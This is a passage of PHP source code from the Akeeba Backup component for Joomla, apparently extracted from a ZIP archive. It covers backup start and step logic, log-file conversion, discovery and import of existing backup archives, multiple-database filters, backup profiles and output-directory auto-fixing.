			$timezone = $forcedTZ;
		}

		// Convert the current date and time to the selected timezone
		$dateNow = clone JoomlaFactory::getDate();
		$tz      = new DateTimeZone($timezone);

		$dateNow->setTimezone($tz);

		return Text::_('COM_AKEEBABACKUP_BACKUP_DEFAULT_DESCRIPTION') . ' ' . $dateNow->format($format, true);
	}

	/**
	 * Get the profile used to take the last backup for the specified tag
	 *
	 * @param   string       $tag       The backup tag a.k.a. backup origin (backend, frontend, json, ...)
	 * @param   string|null  $backupId  (optional) The Backup ID
	 *
	 * @return  int  The profile ID of the latest backup taken with the specified tag / backup ID
	 */
	public function getLastBackupProfile(string $tag, ?string $backupId = null): int
	{
		$filters = [
			['field' => 'tag', 'value' => $tag],
		];

		if (!empty($backupId))
		{
			$filters[] = ['field' => 'backupid', 'value' => $backupId];
		}

		$statList = Platform::getInstance()->get_statistics_list([
				'filters' => $filters,
				'order'   => [
					'by' => 'id', 'order' => 'DESC',
				],
			]
		);

		if (is_array($statList))
		{
			$stat = array_pop($statList);

			return (int) $stat['profile_id'];
		}

		// Backup entry not found. If backupId was specified, try without a backup ID
		if (!empty($backupId))
		{
			return $this->getLastBackupProfile($tag);
		}

		// Else, return the default backup profile
		return 1;
	}

	/**
	 * Send a push notification for a failed backup
	 *
	 * State variables expected (MUST be set):
	 * errorMessage  The error message
	 *
	 * @return  void
	 */
	public function pushFail()
	{
		$this->initialiseWebPush();

		$errorMessage = $this->getState('errorMessage');

		$platform = Platform::getInstance();
		$key      = 'COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY_WITH_MESSAGE';

		if (empty($errorMessage))
		{
			$key = 'COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY';
		}

		$pushSubject = sprintf(
			$platform->translate('COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_SUBJECT'),
			$platform->get_site_name(),
			$platform->get_host()
		);
		$pushDetails = sprintf(
			$platform->translate($key),
			$platform->get_site_name(),
			$platform->get_host(),
			$errorMessage
		);

		$push = new PushMessages();
		$push->message($pushSubject, $pushDetails);
	}

	/**
	 * Starts or step a backup process. Set the state variable "ajax" to the task you want to execute OR call the
	 * relevant public method directly.
	 *
	 * @return  array  An Akeeba Engine return array
	 * @throws  Exception
	 *
	 * @noinspection PhpUnused
	 */
	public function runBackup(): array
	{
		$this->initialiseWebPush();

		if (!defined('AKEEBADEBUG') && JoomlaFactory::getApplication()->get('debug', false))
		{
			define('AKEEBADEBUG', 1);
		}

		$ret_array = [];

		$ajaxTask = $this->getState('ajax');

		switch ($ajaxTask)
		{
			// Start a new backup
			case 'start':
				$ret_array = $this->startBackup();
				break;

			// Step through a backup
			case 'step':
				$ret_array = $this->stepBackup();
				break;

			// Send a push notification for backup failure
			case 'pushFail':
				$this->pushFail();
				break;

			default:
				break;
		}

		return $ret_array;
	}

	/**
	 * Starts a new backup.
	 *
	 * State variables expected
	 *
	 * backupid     The ID of the backup. If none is set up we will create a new one in the form id123
	 * tag          The backup tag, e.g. "frontend". If none is set up we'll get it through the Platform.
	 * description  The description of the backup (optional)
	 * comment      The comment of the backup (optional)
	 * jpskey       JPS password
	 * angiekey     ANGIE password
	 *
	 * @param   array  $overrides  Configuration overrides
	 *
	 * @return  array  An Akeeba Engine return array
	 * @throws Exception
	 */
	public function startBackup(array $overrides = []): array
	{
		$this->initialiseWebPush();

		// Get information from the model state
		$tag         = $this->getState('tag', null);
		$description = $this->getState('description', '');
		$comment     = $this->getState('comment', '');
		$jpskey      = $this->getState('jpskey', null);
		$angiekey    = $this->getState('angiekey', null);
		$backupId    = $this->getBackupId();

		$profile = JoomlaFactory::getApplication()->getSession()->get('akeebabackup.profile', defined('AKEEBA_PROFILE') ? AKEEBA_PROFILE : 1);

		// Use the default description if none specified
		$description = $description ?: $this->getDefaultDescription();

		// Try resetting the engine
		try
		{
			Factory::resetState([
				'maxrun' => 0,
			]);
		}
		catch (Exception $e)
		{
			// This will die if the output directory is invalid. Let it die, then.
		}

		// Remove any stale memory files left over from the previous step
		if (empty($tag))
		{
			$tag = Platform::getInstance()->get_backup_origin();
		}

		$tempVarsTag = $tag;
		$tempVarsTag .= empty($backupId) ? '' : ('.' . $backupId);

		Factory::getFactoryStorage()->reset($tempVarsTag);
		Factory::nuke();
		Factory::getLog()->log(LogLevel::DEBUG, " -- Resetting Akeeba Engine factory ($tag.$backupId)");
		Platform::getInstance()->load_configuration();

		// Autofix the output directory
		/** @var ConfigurationwizardModel $confWizModel */
		$confWizModel = $this->getMVCFactory()->createModel('Configurationwizard', 'Administrator');
		$confWizModel->autofixDirectories();

		// Rebase Off-site Folder Inclusion filters to use site path variables
		/** @var IncludefoldersModel $incFoldersModel */
		$incFoldersModel = $this->getMVCFactory()->createModel('Includefolders', 'Administrator');

		if (is_object($incFoldersModel) && method_exists($incFoldersModel, 'rebaseFiltersToSiteDirs'))
		{
			$incFoldersModel->rebaseFiltersToSiteDirs();
		}

		// Should I apply any configuration overrides?
		if (is_array($overrides) && !empty($overrides))
		{
			$config        = Factory::getConfiguration();
			$protectedKeys = $config->getProtectedKeys();
			$config->resetProtectedKeys();

			foreach ($overrides as $k => $v)
			{
				$config->set($k, $v);
			}

			$config->setProtectedKeys($protectedKeys);
		}

		// Check if there are critical issues preventing the backup
		if (!Factory::getConfigurationChecks()->getShortStatus())
		{
			$configChecks = Factory::getConfigurationChecks()->getDetailedStatus();

			foreach ($configChecks as $checkItem)
			{
				if ($checkItem['severity'] != 'critical')
				{
					continue;
				}

				return [
					'HasRun'   => 0,
					'Domain'   => 'init',
					'Step'     => '',
					'Substep'  => '',
					'Error'    => 'Failed configuration check Q' . $checkItem['code'] . ': ' . $checkItem['description'] . '. Please refer to https://www.akeeba.com/documentation/warnings/q' . $checkItem['code'] . '.html for more information and troubleshooting instructions.',
					'Warnings' => [],
					'Progress' => 0,
				];
			}
		}

		// Set up Kettenrad
		$options = [
			'description' => $description,
			'comment'     => $comment,
			'jpskey'      => $jpskey,
			'angiekey'    => $angiekey,
		];

		if (is_null($jpskey))
		{
			unset ($options['jpskey']);
		}

		if (is_null($angiekey))
		{
			unset ($options['angiekey']);
		}

		$kettenrad = Factory::getKettenrad();
		$kettenrad->setBackupId($backupId);
		$kettenrad->setup($options);

		$this->setState('backupid', $backupId);

		/**
		 * Convert log files in the backup output directory
		 *
		 * This removes the obsolete, default log files (akeeba.(backend|frontend|cli|json).log and converts the old .log
		 * files into their .php counterparts.
		 *
		 * We are doing this when loading the the Control Panel page but ALSO when taking a new backup because some
		 * people might be installing updates and taking backups automatically, without visiting the Control Panel
		 * except in rare cases.
		 */
		$this->convertLogFiles(3);

		/**
		 * We need to run tick() twice in the first backup step.
		 *
		 * The first tick() will reset the backup engine and start a new backup. However, no backup record is created
		 * at this point. This means that Factory::loadState() cannot find a backup record, therefore it cannot read
		 * the backup profile being used, therefore it will assume it's profile #1.
		 *
		 * The second tick() creates the backup record without doing much else, fixing this issue.
		 *
		 * However, if you have conservative settings where the min exec time is MORE than the max exec time the second
		 * tick would never run. Therefore we need to tell the first tick to ignore the time settings (since it only
		 * takes a few milliseconds to execute anyway) and then apply the time settings on the second tick (which also
		 * only takes a few milliseconds). This is why we have setIgnoreMinimumExecutionTime before and after the first
		 * tick. DO NOT REMOVE THESE.
		 *
		 * Furthermore, if the first tick reaches the end of backup or an error condition we MUST NOT run the second
		 * tick() since the engine state will be invalid. Hence the check for the state that performs a hard break. This
		 * could happen if you have a sufficiently high max execution time, no break between steps and we fail to
		 * execute any step, e.g. the installer image is missing, a database error occurred or we can not list the files
		 * and directories to back up.
		 *
		 * THEREFORE, DO NOT REMOVE THE LOOP OR THE if-BLOCK IN IT, THEY ARE THERE FOR A GOOD REASON!
		 */
		$kettenrad->setIgnoreMinimumExecutionTime(true);

		for ($i = 0; $i < 2; $i++)
		{
			$kettenrad->tick();

			if (in_array($kettenrad->getState(), [Part::STATE_FINISHED, Part::STATE_ERROR]))
			{
				break;
			}

			$kettenrad->setIgnoreMinimumExecutionTime(false);
		}

		$ret_array = $kettenrad->getStatusArray();

		// Notify the actionlog plugin
		$statistics = Factory::getStatistics();
		$this->triggerEvent('onStart', [$statistics->getId(), $profile]);

		try
		{
			Factory::saveState($tag, $backupId);
		}
		catch (RuntimeException $e)
		{
			$ret_array['Error'] = $e->getMessage();
		}

		return $ret_array;
	}

	/**
	 * Steps through a backup.
	 *
	 * State variables expected (MUST be set):
	 * backupid     The ID of the backup.
	 * tag          The backup tag, e.g. "frontend".
	 * profile      (optional) The profile ID of the backup.
	 *
	 * @param   bool  $requireBackupId  Should the backup ID be required?
	 *
	 * @return  array  An Akeeba Engine return array
	 * @throws Exception
	 */
	public function stepBackup($requireBackupId = true)
	{
		$this->initialiseWebPush();

		// Get information from the model state
		$tag      = $this->getState('tag', defined('AKEEBA_BACKUP_ORIGIN') ? AKEEBA_BACKUP_ORIGIN : null);
		$backupId = $this->getState('backupid', null);

		// populateState() pushes the current profile number into the state.
		$profile = max(0, (int) $this->getState('profile', 0)) ?: $this->getLastBackupProfile($tag, $backupId);

		// Set the active profile
		JoomlaFactory::getApplication()->getSession()->set('akeebabackup.profile', $profile);

		if (!defined('AKEEBA_PROFILE'))
		{
			define('AKEEBA_PROFILE', $profile);
		}

		// Run a backup step
		$ret_array = [
			'HasRun'   => 0,
			'Domain'   => 'init',
			'Step'     => '',
			'Substep'  => '',
			'Error'    => '',
			'Warnings' => [],
			'Progress' => 0,
		];

		try
		{
			// Reload the configuration
			Platform::getInstance()->load_configuration($profile);

			// Load the engine from storage
			Factory::loadState($tag, $backupId, $requireBackupId);

			// Set the backup ID and run a backup step
			$kettenrad = Factory::getKettenrad();
			$kettenrad->tick();
			$ret_array = $kettenrad->getStatusArray();
		}
		catch (Exception $e)
		{
			$ret_array['Error'] = $e->getMessage();
		}

		try
		{
			if (empty($ret_array['Error']) && ($ret_array['HasRun'] != 1))
			{
				Factory::saveState($tag, $backupId);
			}
		}
		catch (RuntimeException $e)
		{
			$ret_array['Error'] = $e->getMessage();
		}

		if (!empty($ret_array['Error']) || ($ret_array['HasRun'] == 1))
		{
			/**
			 * Do not nuke the Factory if we're trying to resume after an error.
			 *
			 * When the resume after error (retry) feature is enabled AND we are performing a backend backup we MUST
			 * leave the factory storage intact so we can actually resume the backup. If we were to nuke the Factory
			 * the resume would report that it cannot load the saved factory and lead to a failed backup.
			 */
			$config = Factory::getConfiguration();

			if (JoomlaFactory::getApplication()->isClient('administrator') && $config->get('akeeba.advanced.autoresume', 1))
			{
				// We are about to resume; abort.
				return $ret_array;
			}

			// Clean up
			Factory::nuke();

			$tempVarsTag = $tag;
			$tempVarsTag .= empty($backupId) ? '' : ('.' . $backupId);

			Factory::getFactoryStorage()->reset($tempVarsTag);
		}

		return $ret_array;
	}

	/**
	 * Converts a log file from .log to .log.php
	 *
	 * @param   string  $filePath
	 *
	 * @return  void
	 *
	 * @since   7.0.3
	 */
	protected function convertLogFile(string $filePath): void
	{
		// The name of the converted log file is the same with the extension .php appended to it.
		$newFile = $filePath . '.php';

		// If the new log file exists I should return immediately
		if (@file_exists($newFile))
		{
			return;
		}

		// Try to open the converted log file (.log.php)
		$fp = @fopen($newFile, 'w');

		if ($fp === false)
		{
			return;
		}

		// Try to open the source log file (.log)
		$sourceFP = @fopen($filePath, 'r');

		if ($sourceFP === false)
		{
			@fclose($fp);

			return;
		}

		// Write the die statement to the source log file
		fwrite($fp, '<' . '?' . 'php die(); ' . '?' . ">\n");

		// Copy data, 512KB at a time
		while (!feof($sourceFP))
		{
			$chunk = @fread($sourceFP, 524288);

			if ($chunk === false)
			{
				break;
			}

			$result = fwrite($fp, $chunk);

			if ($result === false)
			{
				break;
			}
		}

		// Close both files
		@fclose($sourceFP);
		@fclose($fp);

		// Delete the original (.log) file
		@unlink($filePath);
	}

	/**
	 * Method to auto-populate the state.
	 *
	 * This method should only be called once per instantiation and is designed
	 * to be called on the first call to the getState() method unless the
	 * configuration flag to ignore the request is set.
	 *
	 * @return  void
	 *
	 * @note    Calling getState in this method will result in recursion.
	 * @throws  Exception
	 * @since   9.0.0
	 */
	protected function populateState()
	{
		/** @var CMSApplication $app */
		$app   = JoomlaFactory::getApplication();
		$input = $app->getInput();

		$profile = (int) $app->getSession()->get('akeebabackup.profile', 1);
		$profile = defined('AKEEBA_PROFILE') ? AKEEBA_PROFILE : $profile;
		$profile = max($profile, 1);

		$stateVariables = [
			'tag'          => $input->get('tag', null, 'string'),
			'backupId'     => $input->get('backupid', null, 'string'),
			'description'  => $input->get('description', '', 'string'),
			'comment'      => $input->get('comment', '', 'html'),
			'jpskey'       => $input->get('jpskey', null, 'raw'),
			'angiekey'     => $input->get('angiekey', null, 'raw'),
			'profile'      => $input->get('profile', $profile, 'int'),
			'ajax'         => $input->get('ajax', '', 'cmd'),
			'errorMessage' => $input->get('errorMessage', '', 'raw'),
		];

		foreach ($stateVariables as $k => $v)
		{
			$this->setState($k, $v);
		}
	}

	/**
	 * Get a new backup ID string.
	 *
	 * In the past we were trying to get the next backup record ID using two methods:
	 * - Querying the information_schema.tables metadata table. In many cases we saw this returning the wrong value,
	 *   even though the MySQL documentation said this should return the next autonumber (WTF?)
	 * - Doing a MAX(id) on the table and adding 1. This didn't work correctly if the latest records were deleted by the
	 *   user.
	 *
	 * However, the backup ID does not need to be the same as the backup record ID. It only needs to be *unique*. So
	 * this time around we are using a simple, unique ID based on the current GMT date and time.
	 *
	 * @return  string
	 */
	private function getBackupId(): string
	{
		$microtime    = explode(' ', microtime(false));
		$microseconds = (int) ($microtime[0] * 1000000);

		return 'id-' . gmdate('Ymd-His') . '-' . $microseconds;
	}

	/**
	 * Make sure we can load the Web Push helper, if needed and not already loaded
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	private function initialiseWebPush()
	{
		$pushPreference = Platform::getInstance()->get_platform_configuration_option('push_preference', '0');

		if ($pushPreference !== 'webpush')
		{
			return;
		}

		if (!class_exists(WebPush::class))
		{
			require_once JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/autoload.php';
		}

	}
}PK     \9      src/Model/DiscoverModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;

#[\AllowDynamicProperties]
class DiscoverModel extends BaseDatabaseModel
{
	/**
	 * Returns a list of the archive files in a directory which do not already belong to a backup record
	 *
	 * @return  array
	 */
	public function getFiles(): array
	{
		$directory = Factory::getFilesystemTools()->translateStockDirs(
			$this->getState('directory', '')
		);

		// Get all archive files
		$files = array_filter(Factory::getFileLister()->getFiles($directory, true),
			function ($file) {
				$dotPos = strrpos($file, '.');

				if ($dotPos === false)
				{
					return $dotPos;
				}

				$ext = strtoupper(substr($file, $dotPos + 1));

				return in_array($ext, ['JPA', 'JPS', 'ZIP']);
			});

		// If nothing found, bail out
		if (empty($files))
		{
			return [];
		}

		// Make sure these files do not already exist in another backup record
		$db  = $this->getDatabase();
		$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->qn('absolute_path'))
			->from($db->qn('#__akeebabackup_backups'))
			->where($db->qn('absolute_path') . ' LIKE ' . $db->q($directory . '%'))
			->where($db->qn('filesexist') . ' = ' . $db->q('1'));

		try
		{
			$existingFiles = $db->setQuery($sql)->loadColumn();
		}
		catch (Exception $e)
		{
			$existingFiles = [];
		}

		$files = array_filter($files, function ($file) use ($existingFiles) {
			return !in_array($file, $existingFiles);
		});

		// Finally sort the resulting array for easier reading
		sort($files);

		return $files;
	}

	/**
	 * Imports an archive file as a new backup record
	 *
	 * @param   string  $file  The full path to the archive to import
	 *
	 * @return  int|null  The new backup record ID; null if the save failed without an error message
	 *
	 * @throws  Exception Error when saving the backup record
	 */
	public function import(string $file): ?int
	{
		$directory = Factory::getFilesystemTools()->translateStockDirs(
			$this->getState('directory', '')
		);

		// Find out how many parts there are
		$multipart = 0;
		$base      = substr($file, 0, -4);
		$ext       = substr($file, -3);
		$found     = true;

		$total_size = @filesize($directory . '/' . $file);

		while ($found)
		{
			$multipart++;
			$newExtension = substr($ext, 0, 1) . sprintf('%02u', $multipart);
			$newFile      = $directory . '/' . $base . '.' . $newExtension;
			$found        = file_exists($newFile);

			if ($found)
			{
				$total_size += @filesize($newFile);
			}
		}

		$fileModificationTime = @filemtime($directory . '/' . $file);

		if (empty($fileModificationTime))
		{
			$fileModificationTime = time();
		}

		// Create a new backup record
		$record = [
			'description'     => Text::_('COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTEDDESCRIPTION'),
			'comment'         => '',
			'backupstart'     => date('Y-m-d H:i:s', $fileModificationTime),
			'backupend'       => date('Y-m-d H:i:s', $fileModificationTime + 1),
			'status'          => 'complete',
			'origin'          => 'backend',
			'type'            => 'full',
			'profile_id'      => 1,
			'archivename'     => $file,
			'absolute_path'   => $directory . '/' . $file,
			'multipart'       => $multipart,
			'tag'             => 'backend',
			'filesexist'      => 1,
			'remote_filename' => '',
			'total_size'      => $total_size,
		];

		$id = null;
		$id = Platform::getInstance()->set_or_update_statistics($id, $record);

		return $id;
	}

}PK     \H~  ~  $  src/Model/MultipledatabasesModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ModelExclusionFilterTrait;
use Akeeba\Engine\Factory;
use Exception;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\BaseModel;

#[\AllowDynamicProperties]
class MultipledatabasesModel extends BaseModel
{
	use ModelExclusionFilterTrait;

	/**
	 * Returns an array containing a list of database definitions
	 *
	 * @return  array  Array of definitions; The key contains the internal root name, the data is the database
	 *                 configuration data
	 */
	public function get_databases(): array
	{
		// Get database inclusion filters
		$filter = Factory::getFilterObject('multidb');

		return $filter->getInclusions('db');
	}

	/**
	 * Checks if a filter is already applied
	 *
	 * @param   array  $newFilter  Indexed array containing the filter data
	 *
	 * @return  bool    True if the filter already exists
	 * @since   7.5.0
	 */
	public function filterExists(array $newFilter): bool
	{
		// Sanity checks
		if (!isset($newFilter['host']) || !isset($newFilter['database']) || !isset($newFilter['prefix']))
		{
			return false;
		}

		$filters = $this->get_databases();

		foreach ($filters as $filter)
		{
			// If I have a filter with the same host, db name and table prefix, it means that they're the same
			if (
				($newFilter['host'] == $filter['host']) &&
				($newFilter['database'] == $filter['database']) &&
				($newFilter['prefix'] == $filter['prefix'])
			)
			{
				return true;
			}
		}

		return false;
	}

	/**
	 * Delete a database definition
	 *
	 * @param   string  $root  The name of the database root key to remove
	 *
	 * @return  bool  True on success
	 */
	public function remove($root)
	{
		$ret = $this->applyExclusionFilter('multidb', $root, null, 'remove');

		return $ret['success'];
	}

	/**
	 * Creates a new database definition
	 *
	 * @param   string  $root  The name of the database root key
	 * @param   array   $data  The connection information
	 *
	 * @return  array
	 */
	public function setFilter($root, $data)
	{
		$ret = $this->applyExclusionFilter('multidb', $root, $data, 'set');

		return $ret;
	}

	/**
	 * Tests the connectivity to a database
	 *
	 * @param   array  $data  The connection information
	 *
	 * @return  array  Status array: 'status' is true on success, 'message' contains any error message while connecting
	 *                 to the database
	 */
	public function test($data)
	{
		try
		{
			$db      = Factory::getDatabase($data);
			$success = $db->getErrorNum() <= 0;
			$error   = $db->getErrorMsg();
		}
		catch (Exception $e)
		{
			$success = false;
			$error   = $e->getMessage();
		}

		if (
			empty($data['driver']) || empty($data['host']) || empty($data['user']) || empty($data['password'])
			|| empty($data['database'])
		)
		{
			return [
				'status'  => false,
				'message' => Text::_('COM_AKEEBABACKUP_MULTIDB_ERR_MISSINGINFO'),
			];
		}

		return [
			'status'  => $success,
			'message' => $error,
		];
	}

	/**
	 * Handles a request coming in through AJAX. Basically, this is a simple proxy to the model methods.
	 *
	 * @return  array
	 */
	public function doAjax()
	{
		$action = $this->getState('action');
		$verb   = array_key_exists('verb', $action) ? $action['verb'] : null;

		$ret_array = [];

		switch ($verb)
		{
			// Set a filter (used by the editor)
			case 'set':
				$ret_array = $this->setFilter($action['root'], $action['data']);
				break;

			// Remove a filter (used by the editor)
			case 'remove':
				$ret_array = ['success' => $this->remove($action['root'])];
				break;

			// Test connection (used by the editor)
			case 'test':
				$ret_array = $this->test($action['data']);
				break;
		}

		return $ret_array;
	}
}PK     \\Q,  ,    src/Model/ProfileModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die();

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Model\AdminModel;

#[\AllowDynamicProperties]
class ProfileModel extends AdminModel
{
	/**
	 * @inheritDoc
	 */
	public function getForm($data = [], $loadData = true)
	{
		$form = $this->loadForm(
			'com_akeebabackup.profile',
			'profile',
			[
				'control'   => 'jform',
				'load_data' => $loadData,
			]
		);

		if (empty($form))
		{
			return false;
		}

		// Modify the form based on access controls.
		if (!$this->canEditState((object) $data))
		{
			// Disable fields for display.
			$form->setFieldAttribute('quickicon', 'disabled', 'true');

			// Disable fields while saving.
			// The controller has already verified this is a record you can edit.
			$form->setFieldAttribute('quickicon', 'filter', 'unset');
		}

		return $form;
	}

	/**
	 * Reset the configuration and filters of a backup profile
	 *
	 * @param   int  $pk  Backup profile ID
	 *
	 * @return  bool  True if the profile exists and we can reset its configuration.
	 * @throws  \Exception
	 */
	public function resetConfiguration(int $pk)
	{
		$table = $this->getTable();

		if (!$table->load($pk))
		{
			/** @deprecated 10.1.0 Only for Joomla 4 b/c. Remove in 11. */
			/** @noinspection PhpDeprecationInspection */
			throw new \RuntimeException($table->getError());
		}

		$table->configuration = '';
		$table->filters       = '';

		return $table->save([
			'configuration' => '',
			'filters'       => '',
		]);
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$app  = Factory::getApplication();
		$data = $app->getUserState('com_akeebabackup.edit.profile.data', []);

		if (empty($data))
		{
			$data = $this->getItem();
		}

		$this->preprocessData('com_akeebabackup.profile', $data);

		return $data;
	}

	public function save($data)
	{
		// If we're working with the default profile, force a public access level
		if (($data['id'] ?? 0) == 1)
		{
			$data['access'] = 1;
		}

		$app = Factory::getApplication();

		// Perform the check on permissions only if we're not in CLI (better be safe than sorry)
		if (!$app->isClient('cli'))
		{
			$user = $app->getIdentity();

			// Wait, the user has no permissions
			if (!$user->authorise('core.manage', 'com_akeebabackup'))
			{
				unset($data['access']);
			}
		}

		return parent::save($data);
	}

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (empty($record->id))
		{
			return false;
		}

		if ($record->id == 1)
		{
			return false;
		}

		// Allow the check to be overridden by the API task
		$override = $this->getState('workaround.override_canDelete');

		if ($override !== null && is_bool($override))
		{
			return $override;
		}

		return parent::canDelete($record);
	}

}PK     \FpYH  YH  &  src/Model/ConfigurationwizardModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ModelChmodTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Service\ComponentParameters;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\MVC\Model\BaseDatabaseModel;

#[\AllowDynamicProperties]
class ConfigurationwizardModel extends BaseDatabaseModel
{
	use ModelChmodTrait;

	/**
	 * Method to get state variables. Uses application input if the state is not set.
	 *
	 * @param   null   $property  Optional parameter name
	 * @param   mixed  $default   Optional default value
	 *
	 * @return  mixed  The property where specified, the state object where omitted
	 *
	 * @throws Exception
	 * @since   4.0.0
	 */
	public function getState($property = null, $default = null)
	{
		try
		{
			$default = JoomlaFactory::getApplication()->getInput()
				->get($property, $default, is_array($default) ? 'array' : 'raw');
		}
		catch (Exception $e)
		{
		}

		return parent::getState($property, $default);
	}

	/**
	 * Attempts to automatically figure out where the output and temporary directories should point, adjusting their
	 * permissions should it be necessary.
	 *
	 * @param   bool  $dontRecurse  Used internally. Always skip this parameter when calling this method.
	 *
	 * @return  bool  True if we could fix the directories
	 * @throws  Exception
	 */
	public function autofixDirectories(bool $dontRecurse = false): bool
	{
		// Get the output directory, translated
		$engineConfig    = Factory::getConfiguration();
		$outputDirectory = $engineConfig->get('akeeba.basic.output_directory', '');
		$fixOut          = true;

		// If no output directory is specified set it the default output and retry.
		if (empty($outputDirectory) && !$dontRecurse)
		{
			/** @var ConfigurationModel $model */
			$model = $this->getMVCFactory()->createModel('Configuration', 'Administrator');

			$model->setState('engineconfig', [
				'akeeba.basic.output_directory' => '[DEFAULT_OUTPUT]',
			]);
			$model->saveEngineConfig();

			return $this->autofixDirectories(true);
		}

		// Is the folder writeable?
		if (is_dir($outputDirectory))
		{
			$filename = $outputDirectory . '/test.dat';
			$fixOut   = !@file_put_contents($filename, 'test');

			if (!$fixOut)
			{
				// Directory writable, remove the temp file
				@unlink($filename);
			}
		}

		// Do I need to change the permissions?
		if ($fixOut)
		{
			// Try to chmod the directory
			$this->chmod($outputDirectory, 511);

			// Repeat the test
			$filename = $outputDirectory . '/test.dat';
			$fixOut   = !@file_put_contents($filename, 'test');

			if (!$fixOut)
			{
				// Directory writable, remove the temp file
				@unlink($filename);
			}
		}

		/**
		 * If we reached this point after recursion, we can't fix the permissions of the default backup output folder.
		 * The user has to manually select a writeable backup output directory (or make the default otuput writeable).
		 */
		if ($fixOut && $dontRecurse)
		{
			return false;
		}

		/**
		 * Write the output folder through the Configuration model. This ensures that:
		 *
		 * - we are not trying to use the site's root as the output folder.
		 * - the output folder saved in the database contains an abstracted representation of the folder, using path
		 *   variables instead of absolute filesystem folders.
		 *
		 * @var ConfigurationModel $model
		 */

		$model = $this->getMVCFactory()->createModel('Configuration', 'Administrator');

		// Do I have to fall back to the default output directory?
		$outputDirectory = $fixOut ? '[DEFAULT_OUTPUT]' : $outputDirectory;
		$previousOutputDirectory = $engineConfig->get('akeeba.basic.output_directory', '', true);

		$model->setState('engineconfig', [
			'akeeba.basic.output_directory' => $outputDirectory,
		]);

		if ($outputDirectory !== $previousOutputDirectory)
		{
			$model->saveEngineConfig();
		}

		/**
		 * If we had to revert to the default output we will run ourselves again to make sure that the default backup
		 * output folder is, in fact, writeable.
		 */
		if ($fixOut)
		{
			return $this->autofixDirectories(true);
		}

		return true;
	}

	/**
	 * Creates a temporary file of a specific size
	 *
	 * @param   int          $blocks         How many 128Kb blocks to write. Common values: 1, 2, 4, 16, 40, 80, 81
	 * @param   string|null  $tempDirectory  Asbolute path to the temporary directory
	 *
	 * @return  bool  TRUE on success
	 */
	public function createTempFile(int $blocks = 1, ?string $tempDirectory = null): bool
	{
		if (empty($tempDirectory))
		{
			$aeconfig      = Factory::getConfiguration();
			$tempDirectory = $aeconfig->get('akeeba.basic.output_directory', '');
		}

		$sixtyfourBytes = '012345678901234567890123456789012345678901234567890123456789ABCD';
		$oneKilo        = '';
		$oneBlock       = '';

		for ($i = 0; $i < 16; $i++)
		{
			$oneKilo .= $sixtyfourBytes;
		}

		for ($i = 0; $i < 128; $i++)
		{
			$oneBlock .= $oneKilo;
		}

		$filename = tempnam($tempDirectory, 'confwiz');
		@unlink($filename);

		$fp = @fopen($filename, 'w');

		if ($fp !== false)
		{
			for ($i = 0; $i < $blocks; $i++)
			{
				if (!@fwrite($fp, $oneBlock))
				{
					@fclose($fp);
					@unlink($filename);

					return false;
				}
			}

			@fclose($fp);
			@unlink($filename);
		}
		else
		{
			return false;
		}

		return true;
	}

	/**
	 * Sleeps for a given amount of time. Returns false if the sleep time requested is over the maximum execution time.
	 *
	 * @param   int  $secondsDelay  Seconds to sleep
	 *
	 * @return  bool  FALSE if we cannot sleep that long
	 */
	public function doNothing(int $secondsDelay = 1): bool
	{
		// Try to get the maximum execution time and PHP memory limit
		if (function_exists('ini_get'))
		{
			$maxexec  = ini_get("max_execution_time");
			$memlimit = ini_get("memory_limit");
		}
		else
		{
			$maxexec  = 14;
			$memlimit = 16777216;
		}

		// Unknown time limit; suppose 10s
		if (!is_numeric($maxexec) || ($maxexec == 0))
		{
			$maxexec = 10;
		}

		// Some servers report silly values, i.e. 30000, which Do Not Work™ :(
		if ($maxexec > 180)
		{
			$maxexec = 10;
		}

		// Sometimes memlimit comes with the M or K suffixes. Parse them.
		if (is_string($memlimit))
		{
			$memlimit = strtoupper(trim(str_replace(' ', '', $memlimit)));

			if (substr($memlimit, -1) == 'K')
			{
				$memlimit = 1024 * substr($memlimit, 0, -1);
			}
			elseif (substr($memlimit, -1) == 'M')
			{
				$memlimit = 1024 * 1024 * substr($memlimit, 0, -1);
			}
			elseif (substr($memlimit, -1) == 'G')
			{
